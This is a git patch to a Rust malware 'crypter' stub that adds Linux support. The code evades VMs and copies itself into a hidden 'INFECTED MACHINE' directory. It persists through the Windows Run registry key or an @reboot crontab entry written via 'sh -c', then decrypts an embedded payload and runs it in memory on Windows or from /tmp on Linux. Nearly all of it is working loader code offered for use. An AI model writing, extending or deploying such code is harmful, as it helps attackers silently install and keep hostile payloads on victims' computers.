From e8c22a8160467b0a2e345505aa35f75770073e36 Mon Sep 17 00:00:00 2001 From: JorySeverijnse Date: Sun, 14 Dec 2025 12:10:49 +0100 Subject: [PATCH] Add cross-platform support for Linux and Windows - Implement conditional compilation for platform-specific dependencies - Add Linux persistence via cron jobs as alternative to Windows registry - Create cross-platform fileless execution (memexec for Windows, temp file + exec for Linux) - Support platform-specific paths and file hiding mechanisms - Maintain full Windows compatibility while adding Linux support --- stub/Cargo.toml | 5 ++ stub/src/main.rs | 129 ++++++++++++++++++++++++++++++++++++++++------- 2 files changed, 115 insertions(+), 19 deletions(-) diff --git a/stub/Cargo.toml b/stub/Cargo.toml index 799735d..c0dc1b4 100644 --- a/stub/Cargo.toml +++ b/stub/Cargo.toml @@ -8,5 +8,10 @@ edition = "2021" [dependencies] inside-vm = "0.2.0" aes = "0.8.2" + +[target.'cfg(windows)'.dependencies] memexec = "0.2" winreg = "0.9" + +[target.'cfg(unix)'.dependencies] +libc = "0.2" diff --git a/stub/src/main.rs b/stub/src/main.rs index 99d50a0..44fe2d6 100644 --- a/stub/src/main.rs +++ b/stub/src/main.rs @@ -6,9 +6,15 @@ use std::io::{self, Cursor, Read}; use std::path::Path; use std::process::Command; use std::{env, fs}; + +#[cfg(windows)] use winreg::enums::{HKEY_CURRENT_USER, KEY_ALL_ACCESS}; +#[cfg(windows)] use winreg::RegKey; +#[cfg(unix)] +use std::os::unix::fs::PermissionsExt; + fn main() { if inside_vm() { println!("This is in a vm"); @@ -21,7 +27,9 @@ fn main() { persistence(); let pe_bytes = decrypt_file().unwrap(); - fileless(pe_bytes); + if let Err(e) = fileless(pe_bytes) { + eprintln!("Failed to execute payload: {}", e); + } } } @@ -53,7 +61,7 @@ fn decrypt_file() -> Result> { } fn create_infected_directory() -> io::Result<()> { - let infected_dir = Path::new("C:/Rust Crypter - INFECTED MACHINE"); + let infected_dir = get_infected_dir_path(); fs::create_dir_all(&infected_dir)?; let current_exe = env::current_exe()?; @@ -62,7 +70,8 @@ fn create_infected_directory() -> io::Result<()> { let infected_exe_path = infected_dir.join(current_exe_filename.unwrap()); fs::copy(¤t_exe, &infected_exe_path)?; - if cfg!(target_os = "windows") { + #[cfg(windows)] + { Command::new("attrib") .arg("+h") .arg(infected_dir.as_os_str()) @@ -73,32 +82,114 @@ fn create_infected_directory() -> io::Result<()> { .output()?; } + #[cfg(unix)] + { + // Hide files on Unix by removing read permissions for others + let mut perms = fs::metadata(&infected_dir)?.permissions(); + perms.set_mode(0o700); + fs::set_permissions(&infected_dir, perms)?; + + let mut perms = fs::metadata(&infected_exe_path)?.permissions(); + perms.set_mode(0o700); + fs::set_permissions(&infected_exe_path, perms)?; + } + Ok(()) } +fn get_infected_dir_path() -> &'static Path { + #[cfg(windows)] + { + Path::new("C:/Rust Crypter - INFECTED MACHINE") + } + #[cfg(unix)] + { + Path::new("/tmp/.rust-crypter-infected") + } +} + fn persistence() -> io::Result<()> { - if let Ok(current_exe) = env::current_exe() { - if let Some(file_name) = current_exe.file_stem() { - let executable_name = file_name.to_string_lossy(); - let directory_path = "C:/Rust Crypter - INFECTED MACHINE/"; - let file_path = format!("{}{}.exe", directory_path, executable_name); + #[cfg(windows)] + { + if let Ok(current_exe) = env::current_exe() { + if let Some(file_name) = current_exe.file_stem() { + let executable_name = file_name.to_string_lossy(); + let directory_path = "C:/Rust Crypter - INFECTED MACHINE/"; + let file_path = format!("{}{}.exe", directory_path, executable_name); - // Open the "Run" registry key - let hkcu = RegKey::predef(HKEY_CURRENT_USER); - let run_key = hkcu.open_subkey_with_flags( - "Software\\Microsoft\\Windows\\CurrentVersion\\Run", - KEY_ALL_ACCESS, - )?; + // Open the "Run" registry key + let hkcu = RegKey::predef(HKEY_CURRENT_USER); + let run_key = hkcu.open_subkey_with_flags( + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", + KEY_ALL_ACCESS, + )?; - // Add the executable path to the "Run" registry key - run_key.set_value("RustCrypter", &file_path).err(); + // Add the executable path to the "Run" registry key + run_key.set_value("RustCrypter", &file_path).err(); + } } } + + #[cfg(unix)] + { + // Linux persistence using cron job + if let Ok(current_exe) = env::current_exe() { + let cron_entry = format!("@reboot {} >/dev/null 2>&1", current_exe.display()); + + // Add to user's crontab + let output = Command::new("crontab") + .arg("-l") + .output(); + + let mut cron_content = String::new(); + if let Ok(output_result) = output { + if output_result.status.success() { + cron_content = String::from_utf8_lossy(&output_result.stdout).to_string(); + } + } + + if !cron_content.contains("rust-crypter") { + cron_content.push_str(&cron_entry); + cron_content.push('\n'); + + Command::new("sh") + .arg("-c") + .arg(&format!("echo '{}' | crontab -", cron_content)) + .output()?; + } + } + } + Ok(()) } -fn fileless(bytes: Vec) { - unsafe { - memexec::memexec_exe(&bytes).unwrap(); +fn fileless(bytes: Vec) -> std::result::Result<(), Box> { + #[cfg(windows)] + { + unsafe { + memexec::memexec_exe(&bytes).unwrap(); + } } + + #[cfg(unix)] + { + // For Linux, write to temp file and execute + use std::ffi::CString; + + let temp_path = "/tmp/.rust_payload"; + fs::write(temp_path, &bytes)?; + + // Make executable + let mut perms = fs::metadata(temp_path)?.permissions(); + perms.set_mode(0o755); + fs::set_permissions(temp_path, perms)?; + + // Execute + let path_cstr = CString::new(temp_path)?; + unsafe { + libc::execl(path_cstr.as_ptr(), path_cstr.as_ptr(), std::ptr::null::()); + } + } + + Ok(()) }